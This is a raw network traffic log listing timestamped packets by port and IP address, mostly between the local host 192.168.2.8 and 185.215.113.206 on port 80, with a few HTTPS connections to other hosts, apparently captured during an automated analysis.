Nov 26, 2024 08:03:44.483865023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.483891964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.484080076 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.484723091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.484795094 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.484807014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.484849930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.485663891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.485754967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.485759020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.485837936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.486548901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.486618042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.486630917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.486677885 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.487442017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.487570047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.487588882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.487646103 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.488306046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.488393068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.488452911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.488503933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.489185095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.489229918 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.489296913 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.489335060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.490113020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.490174055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.490230083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.490287066 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.491055965 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.491156101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.491158962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.491202116 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.491967916 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.492057085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.492085934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.492131948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.492810965 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.492907047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.492944002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.493302107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.493720055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.493772984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.493802071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.494039059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.597517014 CET	443	49793	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:44.598016024 CET	49793	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:44.598038912 CET	443	49793	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:44.598397017 CET	443	49793	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:44.599047899 CET	49793	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:44.599152088 CET	443	49793	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:44.604986906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:44.641906023 CET	443	49792	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:44.642190933 CET	49792	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:44.642254114 CET	443	49792	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:44.642622948 CET	443	49792	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:44.642947912 CET	49792	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:44.643088102 CET	443	49792	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:44.651804924 CET	49793	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:44.694750071 CET	49792	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:44.724901915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:44.790864944 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.791153908 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.791172028 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.792397976 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.792491913 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.793652058 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.793778896 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.794053078 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.825064898 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:44.825105906 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:44.825269938 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:44.825563908 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:44.825584888 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:44.835345030 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.835357904 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.835370064 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.882247925 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.888992071 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:44.889017105 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:44.889085054 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:44.889131069 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:44.889169931 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:44.889322042 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:44.889336109 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:44.889354944 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:44.889691114 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:44.889704943 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:44.908953905 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.909341097 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.909353018 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.910438061 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.910521984 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.911047935 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.911107063 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.911336899 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:44.911355019 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:44.961805105 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.061338902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.061430931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.061528921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.061768055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.061865091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.061908960 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.061992884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.062052011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.062685013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.062741995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.062768936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.062817097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.063560009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.063621044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.063673019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.063796043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.064479113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.064527988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.064578056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.064620972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.065366030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.065454006 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.065557003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.065601110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.066318989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.066359997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.066410065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.066483021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.067197084 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.067251921 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.067310095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.067394972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.068078041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.068131924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.068178892 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.068252087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.069048882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.069164038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.069170952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.069277048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.069901943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.069988966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.070025921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.070080996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.070787907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.070866108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.070899963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.071002007 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.071686029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.071748972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.071790934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.071837902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.072583914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.072695017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.072715998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.072828054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.073510885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.073573112 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.073612928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.073681116 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.074400902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.074455976 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.074500084 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.074544907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.075299978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.075392008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.075419903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.075489044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.076201916 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.076261044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.076318979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.076380968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.077116013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.077200890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.077222109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.077343941 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.078016043 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.078077078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.078170061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.078238010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.078932047 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.078984022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.079042912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.079086065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.079811096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.079863071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.079895020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.079987049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.080698967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.080754995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.080795050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.080893040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.081609011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.081677914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.081708908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.081752062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.082496881 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.082568884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.082603931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.082673073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.083462954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.083518028 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.083558083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.083622932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.084315062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.084398985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.084407091 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.084506035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.085222006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.085331917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.085424900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.086131096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.086179018 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.086186886 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.086283922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.087038040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.087080956 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.087191105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.087230921 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.087919950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.087969065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.088053942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.088114023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.088843107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.088948011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.088984966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.089054108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.089744091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.089823008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.089855909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.089924097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.090617895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.090665102 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.090753078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.090807915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.091664076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.091676950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.091727018 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.092422962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.092503071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.092528105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.092602968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.093331099 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.093380928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.093426943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.093476057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.094216108 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.094331026 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.094357014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.094434023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.095135927 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.095253944 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.095279932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.095300913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.096029997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.096102953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.096131086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.096236944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.096929073 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.096976042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.096992970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.097083092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.097958088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.098007917 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.098067045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.098108053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.098728895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.098790884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.098875999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.098993063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.099637032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.099694967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.099740982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.099912882 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.100585938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.100625038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.100655079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.100811005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.101494074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.101551056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.101584911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.101670027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.102349043 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.102415085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.102444887 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.102545977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.103255033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.103310108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.103355885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.103419065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.104146957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.104212046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.104253054 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.104368925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.105046988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.105119944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.105159998 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.105240107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.105958939 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.106004000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.106085062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.106137991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.106933117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.106991053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.107023001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.107120991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.107795000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.107867956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.107892990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.107913971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.108692884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.108762026 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.108817101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.108905077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.109550953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.109599113 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.109743118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.109791994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.110429049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.110515118 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.163923025 CET	49797	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:45.163952112 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:45.164084911 CET	49797	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:45.164324045 CET	49797	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:45.164340019 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:45.270382881 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.270411015 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.270418882 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.270452976 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.270482063 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.270488977 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.270509958 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.270509958 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.270524979 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.270540953 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.270596027 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.273188114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.273201942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.273400068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.273633957 CET	80	49747	185.215.113.206	192.168.2.8
